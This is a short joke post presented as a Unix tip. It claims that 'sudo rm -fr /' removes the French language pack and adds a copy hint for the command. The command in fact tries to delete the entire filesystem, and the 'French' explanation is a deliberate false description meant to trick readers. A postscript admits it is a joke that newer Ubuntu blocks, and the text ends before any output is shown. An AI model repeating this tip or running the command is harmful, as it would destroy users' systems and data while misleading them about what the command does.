Unix Tip #1

Whenever I install a new linux system, I like to keep things nice and tidy by removing things I’ll never need. I’ve always been annoyed by the various language packs that are installed by default on many systems, needlessly taking up a lot of space. You can remove the french language pack using the following command:

ethan@machine:~$ sudo rm -fr / # copy:sudo rm -fr /

You’re welcome!

PS. Someone told me that this no longer works in recent systems and they were right. Here’s Ubuntu 20.04.6 LTS ruining this joke: